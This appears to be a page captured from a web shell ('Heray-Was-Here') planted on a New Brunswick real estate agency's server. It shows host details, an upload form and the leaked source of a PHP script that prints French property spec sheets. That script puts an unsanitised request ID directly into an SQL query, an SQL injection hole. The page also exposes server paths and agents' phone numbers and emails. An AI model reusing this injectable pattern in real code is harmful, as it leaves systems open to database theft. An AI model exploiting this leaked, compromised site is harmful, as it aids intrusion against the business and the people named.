Heray-Was-Here
Server : Apache
System : Linux hybrid3195.ca.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : alliancerealtynb ( 1004)
PHP Version : 7.4.33
Disable Function : noop
Directory :  /home/alliancerealtynb/testOLD.alliancerealty.nb.ca/adminAR/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alliancerealtynb/testOLD.alliancerealty.nb.ca/adminAR/files/PrintSpecsFr.php
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Print</title>
	<link rel=STYLESHEET href="fs2.css" type="text/css">
	<script>
                window.print(); //this triggers the print
				
				var mediaQueryList = window.matchMedia('print');
				mediaQueryList.addListener(function(mql) {
					if (mql.matches) {
						
					} else {
						window.close();
					}
				});
	</script>
</head>

<body>
<?php
	require_once 'config.php';
	//setlocale(LC_MONETARY, 'en_US');
	setlocale(LC_MONETARY, 'fr_CA');
	$Path = '../../';
	
	$ID = $_REQUEST['ID'];
	
	$query = "SELECT p.*, i.parent_id, i.item_name, CONCAT(u.first_name, ' ', u.last_name) AS Agent
		FROM `wp_wpl_properties` p
		LEFT JOIN `wp_wpl_items` i ON p.id = i.parent_id
		LEFT JOIN wp_wpl_users u ON p.user_id = u.id
		WHERE parent_id=".$ID." ORDER BY i.id LIMIT 1";

	$result = mysqli_query($mysqli, $query) or die("SQL Error 1: " . mysqli_error());

	while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
		$img = $Path."/wp-content/uploads/WPL/".$row['parent_id']."/".$row['item_name'];
		$addressFR = $row['field_313_fr_fr'];
		$addressEN = $row['field_313_en_us'];
		$code_postal = $row['location_text'];
		$Dwelling = $row['field_3065'];

		if ($row['n_3048'] == 1) {$neighborhood = 'Edmundston Nord';}
			elseif ($row['n_3046'] == 1) {$neighborhood = 'Edmundston Centre';}
			elseif ($row['n_3047'] == 1) {$neighborhood = 'Edmundston Est';}
			elseif ($row['n_3049'] == 1) {$neighborhood = 'Edmundston Ouest';}
			elseif ($row['n_3051'] == 1) {$neighborhood = 'St-Basile';}
			elseif ($row['n_3053'] == 1) {$neighborhood = 'St-Jacques';}
			elseif ($row['n_3050'] == 1) {$neighborhood = 'Rivière Verte';}
			elseif ($row['n_3056'] == 1) {$neighborhood = 'Haut Madawaska';}
			elseif ($row['n_3054'] == 1) {$neighborhood = 'St-Joseph';}
			elseif ($row['n_3055'] == 1) {$neighborhood = 'Ste-Anne-de-Madawaska';}
			elseif ($row['n_3058'] == 1) {$neighborhood = 'St-Léonard';}
			elseif ($row['n_3052'] == 1) {$neighborhood = 'St-Hilaire';}
			elseif ($row['n_3045'] == 1) {$neighborhood = 'Lac Baker';}
			elseif ($row['n_3059'] == 1) {$neighborhood = 'Verret';}
			elseif ($row['n_3057'] == 1) {$neighborhood = 'Bas Madawaska';}
			else { $neighborhood = 'Non disponible';}

		$Agent = $row['Agent'];
		$MLS = $row['field_3015'];
		
		if ($Dwelling == 1) {$DwellingFR  = 'Bungalow';}
			elseif ($Dwelling == 2) {$DwellingFR = 'Mi-étage';}
			elseif ($Dwelling == 3) {$DwellingFR = 'Ă€ palier';}
			elseif ($Dwelling == 4) {$DwellingFR = '1 1/2 étage';}
			elseif ($Dwelling == 5) {$DwellingFR = '2 étages';}
			elseif ($Dwelling == 6) {$DwellingFR  = '2 1/2 étages';}
			elseif ($Dwelling == 7) {$DwellingFR  = 'Semi-Détachée';}
			elseif ($Dwelling == 8) {$DwellingFR  = 'Duplex';}
			elseif ($Dwelling == 9) {$DwellingFR  = 'Maison Mobile';}
			elseif ($Dwelling == 10) {$DwellingFR  = 'Mini-Home';}
			elseif ($Dwelling == 11) {$DwellingFR  = 'Condominium';}
			elseif ($Dwelling == 12) {$DwellingFR  = 'Terrain Vacant';}
			elseif ($Dwelling == 13) {$DwellingFR  = 'Édifice à logement';}
			elseif ($Dwelling == 14) {$DwellingFR  = 'A-Frame';}
			elseif ($Dwelling == 15) {$DwellingFR  = 'Appartement';}
			elseif ($Dwelling == 31) {$DwellingFR  = 'Autre';}
			elseif ($Dwelling == 32) {$DwellingFR  = 'Chalet';}
			elseif ($Dwelling == 33) {$DwellingFR  = 'Commercial';}
			else {$DwellingFR  = 'Non disponible';}



		$LotSize = mb_convert_encoding($row['field_3119_fr_fr'], "UTF-8", "HTML-ENTITIES");
		if ($LotSize == '')
		{
			$LotSizeFR = 'Non disponible';
		}	
		else
		{
			$LotSizeFR = '±'.$LotSize;
		}
		
		if ($row['field_3195'] == '1') 
		{
			$LotSizeFR = $LotSizeFR ." (Terrain en location)";
		}



		
		$Service = $row['field_3086'];			
		if ($Service == 1) {$ServiceFR = 'Municipal';}
		elseif ($Service == 2) {$ServiceFR = 'Privé';}
		elseif ($Service == 3) {$ServiceFR = 'Parc';}
		elseif ($Service == 4) {$ServiceFR = 'Sans service';}	
		else { $ServiceFR = 'Non disponible';}
				
		$Zonage = $row['field_3192'];	
		if ($Zonage == 1) {$ZonageFR = 'Résidentiel';}
		elseif ($Zonage == 2) {$ZonageFR = 'Rural';}
		elseif ($Zonage == 3) {$ZonageFR = 'Commercial';}
		
		
		$ListingType = $row['listing'];
		if ($ListingType == 9) {$ListingTypeFR = 'ImpĂ´ts fonciers';}	
		else { $ListingTypeFR = 'Dépôt de sécurité';}	
		

		$PlusTVH = $row['field_3169'];
		if ($PlusTVH == 1 && $ListingType == 9) {$PriceHeaderFR = 'Prix (plus TVH)';}	
		elseif ($PlusTVH == 0 && $ListingType == 9) { $PriceHeaderFR = 'Prix';}	
		
		$InitialPrice = $row['field_3115'];
		if ($PlusTVH == 1 && $ListingType == 9) {$PriceHeaderFR = 'Prix (plus TVH)';}	
		elseif ($PlusTVH == 0 && $ListingType == 9) { $PriceHeaderFR = 'Prix';}	
		else { $PriceHeaderFR = 'Coût';}
	////////////////////////<CFIF #load_specs.price_txt# GT 0> (<cfif #load_specs.price_txt# is 1>Négociable</CFIF><cfif #load_specs.price_txt# is 2>Non Négociable</CFIF>)</CFIF>
	//////////////<CFELSE>Coût</CFIF>	
		
		
		$Assessed = $row['field_3197'];
		if ($Assessed > 0) {$AssessedFR = number_format($Assessed, 0, ',', ' ') . ' $';}	
		else {$AssessedFR = 'Non disponible';}	

		
		$PropertyTax =$row['field_3173'];
		if ($PropertyTax > 0) {$PropertyTaxFR = number_format($PropertyTax, 0, ',', ' ') . ' $';}	
		else {$PropertyTaxFR = 'Non disponible';}
		$SecurityDeposite = $row['field_3168'];
		if ($ListingType == 10 && $SecurityDeposite > 0) {$SecurityDepositeFR = number_format($SecurityDeposite, 0, ',', ' '). ' $';}	

	
		$ActualPrice = $row['price'];
		$RentValue = $row['field_3167'];
		if ($ActualPrice > 0 && $ListingType == 9 && $ActualPrice < $InitialPrice) {$ActualPriceFR = number_format($InitialPrice, 0, ',', ' ').' $ réduit à '.number_format($ActualPrice, 0, ',', ' ').' $';}	
		elseif ($ActualPrice > 0 && $ListingType == 9 && $ActualPrice == $InitialPrice) {$ActualPriceFR = number_format($ActualPrice, 0, ',', ' ').' $';}
		elseif ($ActualPrice > 0 && $ListingType == 10) {$ActualPriceFR = number_format($RentValue, 0, ',', ' ').' $/mois';}

		
		
		
		$HouseSizeFR = mb_convert_encoding($row['field_3120_fr_fr'], "UTF-8", "HTML-ENTITIES");
		if ($HouseSizeFR == '') 	
		{
			$HouseSizeFR = 'Non disponible';
		}	
		else
		{
			$HouseSizeFR = '±'.$HouseSizeFR;
		}	

		$DwellingAge = $row['build_year'];
		if ($DwellingAge == 0) 
		{
			$DwellingAge = 'Non disponible';
		}
		else
		{
			$DwellingAge = '±'.$DwellingAge;
		}
		
		$Basement = $row['field_3067'];
		if ($Basement == 1) {$BasementFR = 'Aménagé';}
		elseif ($Basement == 2) {$BasementFR = 'Partiellement fini';}
		elseif ($Basement == 3) {$BasementFR = 'Non-fini';}
		elseif ($Basement == 4) {$BasementFR = 'Vide sanitaire';}
		elseif ($Basement == 5) {$BasementFR = 'Autre';}
		elseif ($Basement == 6) {$BasementFR = 'Aucun';}
		else {$BasementFR = 'Non disponible';}
					
		
		$Roofing = $row['field_3073'];
		$RoofingFR = $row['field_3074_fr_fr'];
		$RoofingOtherFR = $row['field_3113_fr_fr'];
		if ($Roofing == 2) {$RoofingFR = "Bardeau d'asphalte";}
		elseif ($Roofing == 3) {$RoofingFR = 'Goudron - Gravier';}
		elseif ($Roofing == 4) {$RoofingFR = 'Toit de métal';}
		elseif ($Roofing == 5) {$RoofingFR = 'Bardeau de bois';}
		elseif ($Roofing == 6) {$RoofingFR = $RoofingOtherFR;}
		else {$RoofingFR = 'Non disponible';}
		
		
		
		
		
		
		$Garage = $row['field_3072'];
		$GarageDescFR = mb_convert_encoding($row['field_3071_fr_fr'], "UTF-8", "HTML-ENTITIES");
		if ($Garage == 1) {$GarageFR = "Non disponible";}
		elseif ($Garage == 7) {$GarageFR = 'Aucun';}
		elseif ($Garage == 2) {$GarageFR = 'Attaché';}
		elseif ($Garage == 3) {$GarageFR = 'Détaché';}
		if ($GarageDescFR <> '') {$GarageFR = $GarageFR. ' ('.$GarageDescFR.')';}



		$CarportDescFR = $row['field_3180_fr_fr'];
		if ($CarportDescFR == "") {$CarportDescFR = "Aucun";}
		
		
		$Driveway = $row['field_3070'];
		if ($Driveway == 1) {$DrivewayFR = "Non disponible";}
		elseif ($Driveway == 2) {$DrivewayFR = 'Pavée';}
		elseif ($Driveway == 3) {$DrivewayFR = 'Gravier';}
		elseif ($Driveway == 5) {$DrivewayFR = 'Concassé';}
		elseif ($Driveway == 6) {$DrivewayFR = 'Pavé-uni';}
		elseif ($Driveway == 7) {$DrivewayFR = 'Béton';}
		elseif ($Driveway == 4) {$DrivewayFR = 'Gravier - Pavée';}
		elseif ($Driveway == 8) {$DrivewayFR = 'Autre';}
		

		$Siding = $row['field_3075'];
		$SidingDescFR = $row['field_3076_fr_fr'];
		if ($Siding == 1) {$SidingFR = "Non disponible";}
		elseif ($Siding == 2) {$SidingFR = 'Bois';}
		elseif ($Siding == 3) {$SidingFR = 'Masonite';}
		elseif ($Siding == 4) {$SidingFR = 'Vinyle';}
		elseif ($Siding == 5) {$SidingFR = 'Aluminium';}
		elseif ($Siding == 6) {$SidingFR = 'Acier';}
		elseif ($Siding == 7) {$SidingFR = 'Stucco';}
		elseif ($Siding == 8) {$SidingFR = 'Brique';}
		elseif ($Siding == 9) {$SidingFR = 'Pierre';}
		elseif ($Siding == 11) {$SidingFR = 'Brique/Vinyle';}
		elseif ($Siding == 14) {$SidingFR = 'Stucco/Vinyle';}
		elseif ($Siding == 18) {$SidingFR = 'Vinyle/Autre';}
		elseif ($Siding == 15) {$SidingFR = 'Canexel';}
		elseif ($Siding == 16) {$SidingFR = 'Canexel/Autre';}
		elseif ($Siding == 12) {$SidingFR = 'Brique/Autre';}
		elseif ($Siding == 17) {$SidingFR = $SidingDescFR;}
		elseif ($Siding == 10) {$SidingFR = 'Pierre/Canexel';}
		elseif ($Siding == 13) {$SidingFR = 'Stucco/Masonite';}

		
		$Windows = $row['field_3077'];
		$WindowsDescFR = $row['field_3117_fr_fr'];
		if ($Windows == 1) {$WindowsFR = "Non disponible";}
		elseif ($Windows == 6) {$WindowsFR = 'PVC';}
		elseif ($Windows == 8) {$WindowsFR = 'Bois';}
		elseif ($Windows == 7) {$WindowsFR = 'PVC/Bois';}
		elseif ($Windows == 2) {$WindowsFR = 'Aluminium';}
		elseif ($Windows == 3) {$WindowsFR = 'Aluminium/PVC';}
		elseif ($Windows == 4) {$WindowsFR = 'Aluminium/Bois';}
		elseif ($Windows == 5) {$WindowsFR = 'Aluminium/Bois/PVC';}
		elseif ($Windows == 9) {$WindowsFR = $WindowsDescFR;}

		
		$Chimney = $row['field_3078'];
		if ($Chimney == 1 || $Chimney == -1) {$ChimneyFR = "Non disponible";}
		elseif ($Chimney == 2) {$ChimneyFR = 'Brique';}
		elseif ($Chimney == 3) {$ChimneyFR = 'Bloc de béton';}
		elseif ($Chimney == 4) {$ChimneyFR = 'Métal';}
		elseif ($Chimney == 5) {$ChimneyFR = 'Selkirk';}
		elseif ($Chimney == 6) {$ChimneyFR = 'Pierre';}
		elseif ($Chimney == 7) {$ChimneyFR = 'Autre';}
		elseif ($Chimney == 8) {$ChimneyFR = 'Aucune';}

		
		$Bedrooms = mb_convert_encoding($row['field_3171'], "UTF-8", "HTML-ENTITIES");		
		$Bathrooms = mb_convert_encoding($row['field_3172'], "UTF-8", "HTML-ENTITIES");
		
		
		$Floor = $row['field_3082_fr_fr'];
		if ($Floor == "") {$FloorFR = "Non disponible";}
		else {$FloorFR = $Floor;}
	
		
		
		$Plumbing = $row['field_3079'];
		$PlumbingDescFR = $row['field_3080_fr_fr'];
		if ($Plumbing == 1 || $Plumbing == "") {$PlumbingFR = "Non disponible";}
		elseif ($Plumbing == 2) {$PlumbingFR = 'ABS - Cuivre';}
		elseif ($Plumbing == 4) {$PlumbingFR = 'ABS - PEX';}
		elseif ($Plumbing == 3) {$PlumbingFR = 'Variée';}
		elseif ($Plumbing == 5) {$PlumbingFR = $PlumbingDescFR;}
		elseif ($Plumbing == 8) {$PlumbingFR = 'ABS - PEX - Cuivre';}
		elseif ($Plumbing == 7) {$PlumbingFR = 'PEX';}		
		//echo '======='.$row['field_3079'];	
		
		$Wiring = $row['field_3084'];
		if ($Wiring == 6) {$WiringFR = "Non disponible";}
		elseif ($Wiring == 1) {$WiringFR = '100 + 60 Amps';}
		elseif ($Wiring == 2) {$WiringFR = '100 Amps';}
		elseif ($Wiring == 3) {$WiringFR = '125 Amps';}
		elseif ($Wiring == 4) {$WiringFR = '100 + 200 Amps';}
		elseif ($Wiring == 5) {$WiringFR = '200 Amps';}
		elseif ($Wiring == 7) {$WiringFR = 'Autre';}
					
		$Wiring2 = $row['field_3112'];
		if ($Wiring2 == 1 || $Wiring2 == -1) {$Wiring2FR = "Non disponible";}
		elseif ($Wiring2 == 2) {$Wiring2FR = 'Disjoncteurs';}
		elseif ($Wiring2 == 3) {$Wiring2FR = 'Fusibles';}
		elseif ($Wiring2 == 'NULL') {$Wiring2FR = '';}		
		

		if ($Wiring != 6 && $Wiring2 > 1) {$WiringDescFR = $WiringFR ."(".$Wiring2FR.")";}
		elseif ($Wiring != 6 && $Wiring2 == 1) {$WiringDescFR = $WiringFR;}
		elseif ($Wiring == 6 && $Wiring2 > 1) {$WiringDescFR = $Wiring2FR;}
		elseif ($Wiring == '' && $Wiring2FR == 'Non disponible') {$WiringDescFR = "Non disponible";}
		elseif ($Wiring != '' && $Wiring2FR == '') {$WiringDescFR = $WiringFR;}
		
		
		$HeatingDesc = $row['field_3081_fr_fr'];
		if ($HeatingDesc == "") {$HeatingDescFR = "Non disponible";}
		else {$HeatingDescFR = $HeatingDesc;}		
		
		
		$Sunroom = $row['field_3181'];
		if ($Sunroom == 2) {$SunroomFR = '3 saisons';}
		elseif ($Sunroom == 3) {$SunroomFR = '4 saisons';}
		elseif ($Sunroom == 1) {$SunroomFR = "Non disponible";}
		elseif ($Sunroom == 4) {$SunroomFR = "Aucun";}
		
		
		
		$AirConditioningType = $row['field_3182'];
		if ($AirConditioningType == 1 || $AirConditioningType == '') {$AirConditioningTypeFR = 'Non disponible';}
		elseif ($AirConditioningType == 2) {$AirConditioningTypeFR = 'Centrale';}
		elseif ($AirConditioningType == 3) {$AirConditioningTypeFR = "Murale";}
		elseif ($AirConditioningType == 4) {$AirConditioningTypeFR = "Aucun";}
		elseif ($AirConditioningType == 5) {$AirConditioningTypeFR = "Oui";}
		
		
		$ItemsFR = $row['field_3017_fr_fr'];

		
		
		$CommentsFR =  mb_convert_encoding($row['field_308_fr_fr'], "UTF-8", "HTML-ENTITIES");
		$RentRemarksFR =  mb_convert_encoding($row['field_3118_fr_fr'], "UTF-8", "HTML-ENTITIES");
		$Banner = "";
		if ($row['sp_featured'] == 1) {$Banner = "sold_fr.png";}
		if ($row['sp_hot'] == 1) {$Banner = "price_reduced_fr.png";}
		//if ($row['sp_openhouse'] == 1) {$Banner = "Spéciales";}
		if ($row['field_3126'] == 1) {$Banner = "10000_reduction_fr.png";}
		if ($row['field_3127'] == 1) {$Banner = "35000_reduction_fr.png";}
		if ($row['field_3128'] == 1) {$Banner = "3_bedrooms_fr.png";}
		if ($row['field_3129'] == 1) {$Banner = "4_bedrooms_fr.png";}
		if ($row['field_3130'] == 1) {$Banner = "season_cottage_fr.png";}
		if ($row['field_3131'] == 1) {$Banner = "big_lot_fr.png";}
		if ($row['field_3132'] == 1) {$Banner = "cashback_fr.png";}
		if ($row['field_3133'] == 1) {$Banner = "cathedral_ceiling_fr.png";}
		if ($row['field_3134'] == 1) {$Banner = "close_services_fr.png";}
		if ($row['field_3135'] == 1) {$Banner = "cottage_fr.png";}
		if ($row['field_3136'] == 1) {$Banner = "duplex_fr.png";}
		if ($row['field_3137'] == 1) {$Banner = "fireplace_fr.png";}
		if ($row['field_3138'] == 1) {$Banner = "foreclosed property_fr.png";}
		if ($row['field_3139'] == 1) {$Banner = "time_market_fr.png";}
		if ($row['field_3140'] == 1) {$Banner = "quick_sale_fr.png";}
		if ($row['field_3141'] == 1) {$Banner = "handyman_special_fr.png";}
		if ($row['field_3142'] == 1) {$Banner = "high_quality_fr.png";}
		if ($row['field_3143'] == 1) {$Banner = "impeccable_fr.png";}
		if ($row['field_3144'] == 1) {$Banner = "investor_fr.png";}
		if ($row['field_3145'] == 1) {$Banner = "country_fr.png";}
		if ($row['field_3146'] == 1) {$Banner = "renovations_fr.png";}
		if ($row['field_3147'] == 1) {$Banner = "near_university_fr.png";}
		if ($row['field_3148'] == 1) {$Banner = "negociable_fr.png";}
		if ($row['field_3149'] == 1) {$Banner = "new_construction_fr.png";}
		if ($row['field_3150'] == 1) {$Banner = "new_listing_fr.png";}
		if ($row['field_3151'] == 1) {$Banner = "panoramic_view_fr.png";}
		if ($row['field_3152'] == 1) {$Banner = "pool_fr.png";}
		if ($row['field_3153'] == 1) {$Banner = "pre-inspected_fr.png";}
		if ($row['field_3154'] == 1) {$Banner = "prestigious_property_fr.png";}
		if ($row['field_3155'] == 1) {$Banner = "price_revised_fr.png";}
		if ($row['field_3156'] == 1) {$Banner = "renovated_fr.png";}
		if ($row['field_3157'] == 1) {$Banner = "revenu_fr.png";}
		if ($row['field_3158'] == 1) {$Banner = "riverside_property_fr.png";}
		if ($row['field_3159'] == 1) {$Banner = "spacious_property_fr.png";}
		if ($row['field_3160'] == 1) {$Banner = "transfer_fr.png";}
		if ($row['field_3161'] == 1) {$Banner = "unique_fr.png";}
		if ($row['field_3162'] == 1) {$Banner = "urgent_fr.png";}
		if ($row['field_3163'] == 1) {$Banner = "vacant_lot_fr.png";}
		if ($row['field_3164'] == 1) {$Banner = "view_river_fr.png";}
		if ($row['field_3165'] == 1) {$Banner = "waterfront_fr.png";}		
}//while	


echo '<div align="center" style="display:block;width:100%;margin-bottom:10px;"><table class="defaulttable" border="0" cellspacing="0" cellpadding="0">';
echo '<tr><td align="left" VALIGN="middle">';


if ($Banner <> "")
{
	echo '<div style="float:left;"><img src="../../wp-content/uploads/Banners/'.$Banner.'" style="position:absolute;margin-top:1;margin-left:2;width:180px;z-index:100;" /></div>';
}




	
if ($img <> "") 
{
	echo '<img src="'.$img.'" width="380" style="border-spacing: 0; border: 2px solid #999; border-radius: 10px;" alt="">';
}
else
{
	'<div align="center">Aucune image disponible</div>';
}
	
		
echo '<div align="center"><b>'. mb_convert_encoding($addressFR, "UTF-8", "HTML-ENTITIES").', '.$code_postal.'</b><br>';

echo '<b>Région : '.$neighborhood.'</b><br></div>';
						 
echo '</td>
<TD>&nbsp;&nbsp;&nbsp;</TD>
<TD ALIGN="left" VALIGN="top" class="texte"><div align="center"><img src="'.$Path.'/wp-content/uploads/2021/06/AllianceRealtyLogo.png" width="150"  alt="" border="0">
<p style="font-size:10px;margin-bottom:20px;"><b>385, rue Victoria<BR>Edmundston, N.-B., E3V 2K3<br>
http://www.alliancerealty.nb.ca</b></p></div>';

if ($Agent == 'Hermance Mercure Laplante')
{	
	echo '<span style="font-size:14px;"><b>Hermance Mercure Laplante</b></span><br>
	<span style="font-size:14px;line-height:1;">Bureau : (506) 735-1850
	<br />Résidence : (506) 263-5550
	<br />Fax : (506) 735-1852
	<br />hermance@alliancerealty.nb.ca</span><BR>';
}

if ($Agent == 'Julien Laplante')
{	
	echo '<span style="font-size:14px;"><b>Julien Laplante</b></span><br>
	<span style="font-size:14px;line-height:1;">Bureau : (506) 735-1850
	<BR>Résidence : (506) 263-5550
	<BR>Cell : (506) 737-0495
	<BR>Fax : (506) 735-1852
	<BR>julien@alliancerealty.nb.ca</span><br>';
}

if ($Agent == 'Alain Violette')
{	
	echo '<span style="font-size:10px;"><b>Alain Violette</b></span><br>
	<span style="font-size:10px;line-height:1;">Bureau : (506) 735-1850
	<BR>Fax : (506) 735-1852
	<BR>Cell : (506) 736-9970
	<BR>alain@alliancerealty.nb.ca</span><br>';
}

echo '<br>
<img src="'.$Path.'/wp-content/uploads/2021/06/logo_realtor.gif" width="35" alt="Realtor" border="0" ALIGN="left">';

if ($MLS <> '')
{	
	echo '<div style="text-align:center; margin-top:-3px;">&nbsp;&nbsp;<img src="'.$Path.'/wp-content/uploads/2021/01/sia.gif" width="50" alt="MLS" border="0" align="center">
	<p style="text-align:center; margin-top:-10px;"><b>N<sup>o</sup> : '.$MLS.'</b></p></div>';
}
	
echo '</TD></tr>
	</TABLE></div>';	
	


echo '<div align="center" style="display:block;width:600px;margin:auto;"><table align="center" style="width:100%;">';
///Si tarrain
if ($Dwelling == 12)
{	
	echo '<thead><tr><th colspan="3" ALIGN="center" style="padding:2px;"><span style="font-size:16px;color:white;">SPÉCIFICATION DU TERRAIN</span></th></tr></thead>
	<tbody><tr><td WIDTH="33%" style="text-align:center;padding:2px;"><b>Grandeur du terrain</b></TD>';
	
	echo '<td WIDTH="33%" style=" text-align:center;padding:2px;"><b>Services (Eau et Égout)</b></TD>
	<td WIDTH="33%" style=" text-align:center;padding:2px;"><b>Zonage</b></TD></TR>';

	echo '<tr><td style="text-align:center;padding:2px;">±'.$LotSizeFR.'</td>';

	echo '<td style="text-align:center;padding:2px;">';
	echo $ServiceFR.'</TD>';

	echo '<td style="text-align:center;padding:2px;">'.$ZonageFR.'</TD></TR>';



	echo '<TR><td style="text-align:center;padding:2px;"><b>Évaluation</b></td>
	<td style="text-align:center;padding:2px;"><b>'.$ListingTypeFR.'</b></td>
	<td style="text-align:center;padding:2px;"><b>'.$PriceHeaderFR.'</b></td></tr>';

	echo '<tr><td style="text-align:center;padding:2px;">'.$AssessedFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.($ListingType !== '' ?  $PropertyTaxFR : $SecurityDepositeFR).'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$ActualPriceFR.'</td></TR></tbody>';

}

else	
{	
	echo '<tr><th colspan="3" style="padding:2px;"><span style="font-size:16px;color:white;">SPÉCIFICATIONS DE LA PROPRIÉTÉ</span></th></tr>';
	echo '<tbody><tr><td WIDTH="33%" style="text-align:center;padding:2px;"><b>Type de propriété</b></td>
	<td style="text-align:center;padding:2px;"><b>Dimension de l&apos;habitation</b></td>
	<td style="text-align:center;padding:2px;"><b>Dimension du terrain</b></td></tr>';
	echo '<tr><td style="text-align:center;padding:2px;">'.$DwellingFR.'</td>';

	echo '<td style="text-align:center;padding:2px;">±'.$HouseSizeFR.'</td>';

	echo '<td style="text-align:center;padding:2px;">±'.$LotSizeFR.'</td></tr>';




////// RANGÉE 2

	echo '<tr><td WIDTH="33%" style="text-align:center;padding:2px;"><b>Âge du bâtiment</b></td>
	<td style="text-align:center;padding:2px;"><b>Services (Eau et Égout)</b></td>
	<td style="text-align:center;padding:2px;"><b>Toiture</b></td></tr>';

	echo '<tr><td style="text-align:center;padding:2px;">'.$DwellingAge.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$ServiceFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$RoofingFR.'</td></tr>';


////// RANGÉE 3 --->
	echo '<tr><td style="text-align:center;padding:2px;"><b>Entrée de voiture</b></TD>
			<td style="text-align:center;padding:2px;"><b>Garage</b></TD>
			<td style="text-align:center;padding:2px;"><b>Abri d&apos;auto</b></TD></TR>';    

	echo '<tr><td style="text-align:center;padding:2px;">'.$DrivewayFR.'</td>';	
	echo '<td style="text-align:center;padding:2px;">'.$GarageFR.'</td>';

	echo '<td style="text-align:center;padding:2px;">'.$CarportDescFR.'</td></tr>';



//////// RANGÉE 4 
	echo '<tr><td style="text-align:center;padding:2px;"><b>RevĂŞtement</b></td>
		<td style="text-align:center;padding:2px;"><b>FenĂŞtre</b></td>
		<td style="text-align:center;padding:2px;"><b>Cheminée</b></td></tr>'; 

	echo '<td style="text-align:center;padding:2px;">'.$SidingFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$WindowsFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$ChimneyFR.'</td></tr>';
	
				
			
////// RANGÉE 5 --->
	echo '<tr><td style="text-align:center;padding:2px;"><b>Évaluation</b></td>
		<td style="text-align:center;padding:2px;"><b>'.$ListingTypeFR.'</b></td>
		<td style="text-align:center;padding:2px;"><b>'.$PriceHeaderFR.'</b></td></tr>'; 

	echo '<td style="text-align:center;padding:2px;">'.$AssessedFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.($ListingType !== '' ?  $PropertyTaxFR : $SecurityDepositeFR).'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$ActualPriceFR.'</td></tr>';	
	//echo '</tbody></table>';

	
	
	
	
	
////////////////INTÉRIEUR
	echo '<tr><th colspan="3" ALIGN="center" style="background: #890D05; padding:4px;font-size:16px;color:white;margin-top:5px;padding:2px;">INTÉRIEUR</th></tr>
	<tbody><tr><td style="text-align:center;padding:2px;"><b>Nombre de chambres</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Nombre de salles de bain</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Plancher</b></td></tr>';	
	
	echo '<tr><td style="text-align:center;padding:2px;">'.($Bedrooms !== '' ?  $Bedrooms : "Non disponible").'</TD>';
	echo '<td style="text-align:center;padding:2px;">'.($Bathrooms !== '' ?  $Bathrooms : "Non disponible").'</td>';
	echo '<td style="text-align:center;padding:2px;">'.($FloorFR !== '' ?  mb_convert_encoding($FloorFR, "UTF-8", "HTML-ENTITIES") : "Non disponible").'</td></tr>';


////////// RANGÉE 2
	echo '<tr><td style="text-align:center;padding:2px;"><b>Plomberie</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Installation électrique</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Type de chauffage</b></td></tr>';

	echo '<tr><td style="text-align:center;padding:2px;">'.$PlumbingFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$WiringDescFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.($HeatingDescFR !== '' ?  mb_convert_encoding($HeatingDescFR, "UTF-8", "HTML-ENTITIES") : "Non disponible").'</td></tr>';

////////// RANGÉE 3
	echo '<tr><td style="text-align:center;padding:2px;"><b>Sous-Sol</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Solarium</b></td>';
	echo '<td style="text-align:center;padding:2px;"><b>Type de climatisation</b></td></tr>';

	echo '<tr><td style="text-align:center;padding:2px;">'.$BasementFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$SunroomFR.'</td>';
	echo '<td style="text-align:center;padding:2px;">'.$AirConditioningTypeFR.'</td></tr>';





	if ($ItemsFR <> '')
	{	
		echo '<tr><th colspan="3" style="background: #890D05; padding:4px;font-size:16px;color:white;padding:2px;">ITEMS INCLUS</th></tr>
		<tr><td colspan="3" style="padding:2px;">'.mb_convert_encoding($ItemsFR, "UTF-8", "HTML-ENTITIES").'</td></TR>';
	}

	if ($CommentsFR <> '' || $RentRemarksFR <> '')
	{	
		echo '<tr><th colspan="3" ALIGN="center"style="background: #890D05; padding:4px;font-size:16px;color:white;padding:2px;">COMMENTAIRES</th></tr>';
		echo '<tr><td colspan="3" style="padding:2px;text-align=justify">'.($ListingType == 9 ?  $CommentsFR :  $RentRemarksFR).'</td></TR>';
	}	
}
echo '</table><p style="font-size:10px;">Aucune responsabilité ne sera assumée pour l&apos;exactitude des informations ci-haut mentionnées.</p></div>';

		
	
	

?>	
</body>
</html>

Hry